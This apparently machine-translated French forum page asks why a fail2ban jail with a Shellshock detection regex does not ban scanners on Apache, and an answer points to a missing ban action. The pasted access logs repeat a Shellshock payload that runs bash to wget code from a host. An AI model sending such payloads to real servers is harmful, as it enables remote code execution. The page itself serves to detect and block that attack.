Les règles fail2ban n'entrent pas en vigueur

J'ai installé le server web Apache sur une installation stock d'Ubuntu 14.04 et j'essaie d'utiliser fail2ban pour bloquer les requêtes qui searchnt des vulnérabilités.

J'ai mis ce qui suit dans /etc/fail2ban/jail.local :

  • IPTables: Autoriser les connections MySQL sortantes mais pas les connections entrantes
  • Quels ports pour IPSEC / LT2P?
  • iptables -p all --port
  • Les questions IPTables et DHCP?
  • Utilisation du server linux comme routeur pour le réseau
  • Comment puis-je écrire des automated tests pour iptables?
  •  [apache-vulnerability-scan] enabled = true port = http,https filter = apache-vulnerability-scan logpath = /var/log/apache*/*access.log maxretry = 1 

    La définition de la règle se trouve dans /etc/fail2ban/filter.d/apache-vulnerability-scan.conf :

     [Definition] failregex = ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$ ignoreregex = 

    Pour ceux qui ne connaissent peut-être pas les règles par défaut fail2ban d'Ubuntu, certaines des règles principales sont les suivantes:

     ignoreip = 127.0.0.1/8 bantime = 600 findtime = 600 maxretry = 3 backend = auto usedns = warn protocol = tcp chain = INPUT 

    Cependant, je peux faire des requests sans faute2ban interdisant mon IP, même si maxretry est défini sur 1 .

     10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:43 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)" 

    L'état du filter semble être correct:

     # fail2ban-client status apache-vulnerability-scan Status for the jail: apache-vulnerability-scan |- filter | |- File list: /var/log/apache2/other_vhosts_access.log /var/log/apache 2/access.log | |- Currently failed: 0 | `- Total failed: 0 `- action |- Currently banned: 0 | `- IP list: `- Total banned: 0 

    Comme il semble être la règle elle-même:

     Running tests ============= Use failregex file : /etc/fail2ban/filter.d/apache-vulnerability-scan.conf Use log file : /var/log/apache2/access.log Results ======= Failregex: 10 total |- #) [# of hits] regular expression | 1) [10] ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$ | 10.0.2.2 Sat Nov 21 00:11:40 2015 | 10.0.2.2 Sat Nov 21 00:11:40 2015 | 10.0.2.2 Sat Nov 21 00:11:40 2015 | 10.0.2.2 Sat Nov 21 00:11:41 2015 | 10.0.2.2 Sat Nov 21 00:11:41 2015 | 10.0.2.2 Sat Nov 21 00:11:41 2015 | 10.0.2.2 Sat Nov 21 00:11:41 2015 | 10.0.2.2 Sat Nov 21 00:11:42 2015 | 10.0.2.2 Sat Nov 21 00:11:42 2015 | 10.0.2.2 Sat Nov 21 00:11:43 2015 `- Ignoreregex: 0 total Date template hits: |- [# of hits] date format | [13] Day/MONTH/Year:Hour:Minute:Second | [0] WEEKDAY MONTH Day Hour:Minute:Second[.subsecond] Year | [0] WEEKDAY MONTH Day Hour:Minute:Second Year | [0] WEEKDAY MONTH Day Hour:Minute:Second | [0] MONTH Day Hour:Minute:Second | [0] Year/Month/Day Hour:Minute:Second | [0] Day/Month/Year Hour:Minute:Second | [0] Day/Month/Year2 Hour:Minute:Second | [0] Month/Day/Year:Hour:Minute:Second | [0] Year-Month-Day Hour:Minute:Second[,subsecond] | [0] Year-Month-Day Hour:Minute:Second | [0] Year.Month.Day Hour:Minute:Second | [0] Day-MONTH-Year Hour:Minute:Second[.Millisecond] | [0] Day-Month-Year Hour:Minute:Second | [0] Month-Day-Year Hour:Minute:Second[.Millisecond] | [0] TAI64N | [0] Epoch | [0] ISO 8601 | [0] Hour:Minute:Second | [0] <Month/Day/Year@Hour:Minute:Second> | [0] YearMonthDay Hour:Minute:Second | [0] Month-Day-Year Hour:Minute:Second `- Lines: 13 lines, 0 ignored, 12 matched, 1 missed |- Missed line(s): | 10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)" `- 

    Pourquoi les règles fail2ban ne sont-elles pas inputs en vigueur? Qu'est-ce que je fais mal ici?

  • Quel est l'effet de iptables / ufw nier les filters sur la charge du server?
  • Considérez-vous Java sur votre server Linux comme un problème?
  • Ajouter la latence aux packages UDP sortants avec tc
  • Mesurer les statistics cumulatives du réseau par user ou par process
  • Pas de succès lors de la tentative de mise à jour de glibc sur RHEL4 en raison de GHOST
  • Shibboleth: trouvé des affirmations cryptées, mais aucun CredentialResolver n'était disponible
  • One Solution collect form web for “Les règles fail2ban n'entrent pas en vigueur”

    Vous manquez d'une action pour les règles utilisées, ce qui signifie que fail2ban ne sait pas quoi faire lorsqu'une règle correspond. Cela vous permet de configurer globalement ou localement pour chaque prison. Les règles d'action sont définies dans /etc/fail2ban/action.d/

    Par exemple, pour une banalisation globale, vous pouvez append ce qui suit dans jail.local :

    banaction = iptables-multiport

    Veuillez vérifier la jail.conf "ACTIONS" de votre file jail.conf pour plus de détails.

    Vous devrez également raccourcir le nom de prison apache-vulnerability-scan car le nom de la string iptables a une limitation de longueur.

    Les astuces du serveur de linux et windows, tels que ubuntu, centos, apache, nginx, debian et des sujets de réseau.